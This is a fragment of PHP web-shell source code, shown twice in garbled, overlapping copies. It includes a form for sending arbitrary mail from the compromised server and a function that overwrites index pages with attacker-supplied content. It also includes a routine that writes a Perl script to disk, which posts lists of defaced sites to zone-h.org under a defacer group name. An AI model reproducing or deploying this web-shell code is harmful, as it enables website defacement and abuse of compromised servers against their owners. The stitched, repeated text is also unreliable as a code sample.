print "<p>[ Error, Can't send the mail ]</p>"; die; } if ($dlink == 'mail' && !isset($_REQUEST['mailsub'])) { print $sf . "<br>"; print "<p><textarea cols=50 rows=10 name=mailtxt>\nYour message here</textarea></p>"; input("text", "mailto", "*****@*****.**", 35); print " "; input("text", "subj", "Title-here", 20); print " "; input("submit", "mailsub", "Send-mail", ""); print $ef; die; } if (isset($_REQUEST['zonet']) && !empty($_REQUEST['zonet'])) { callzone($nscdir); } function callzone($nscdir) { if (is_writable($nscdir)) { $fpz = fopen("z.pl", "w"); $zpl = 'z.pl'; $li = "bklist.txt"; } else { $fpz = fopen("/tmp/z.pl", "w"); $zpl = '/tmp/z.pl'; $li = "/tmp/bklist.txt"; } fwrite($fpz, "\$arq = @ARGV[0];\n\$grupo = @ARGV[1];\nchomp \$grupo;\nopen(a,\"<\$arq\");\n@site = <a>;\nclose(a);\n\$b = scalar(@site);\nfor(\$a=0;\$a<=\$b;\$a++)\n{chomp \$site[\$a];\nif(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }\nprint \"[+] Sending \$site[\$a]\n\";\nuse IO::Socket::INET;\n\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;\nprint \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";\nprint \$sock \"Accept: */*\r\n\";\nprint \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";\nprint \$sock \"Accept-Language: pt-br\r\n\";\nprint \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";\nprint \$sock \"Connection: Keep-Alive\r\n\";\nprint \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";\nprint \$sock \"Host: old.zone-h.org\r\n\";\nprint \$sock \"Content-Length: 385\r\n\";\nprint \$sock \"Pragma: no-cache\r\n\";\nprint \$sock \"\r\n\";\nprint \$sock \"notify_defacer=\$grupo¬ify_domain=http%3A%2F%2F\$site[\$a]¬ify_hackmode=22¬ify_reason=5¬ify=+OK+\r\n\";\nclose(\$sock);}"); if (touch($li) == true) { $fpl = fopen($li, "w+");
$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a> ] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt> Your index contents here</textarea></p>"; input ("text","indx","Index-name",35);print " "; input ("submit","qindsub","Create","");print $ef;die();} if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ $mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt> Your message here</textarea></p>";input ("text","mailto","*****@*****.**",35);print " ";input ("text","subj","Title-here",20);print " "; input ("submit","mailsub","Send-mail","");print $ef;die();} if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} function callzone($nscdir){ if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} fwrite ($fpz,"\$arq = @ARGV[0]; \$grupo = @ARGV[1]; chomp \$grupo; open(a,\"<\$arq\"); @site = <a>; close(a); \$b = scalar(@site); for(\$a=0;\$a<=\$b;\$a++) {chomp \$site[\$a]; if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; } print \"[+] Sending \$site[\$a]\n\"; use IO::Socket::INET;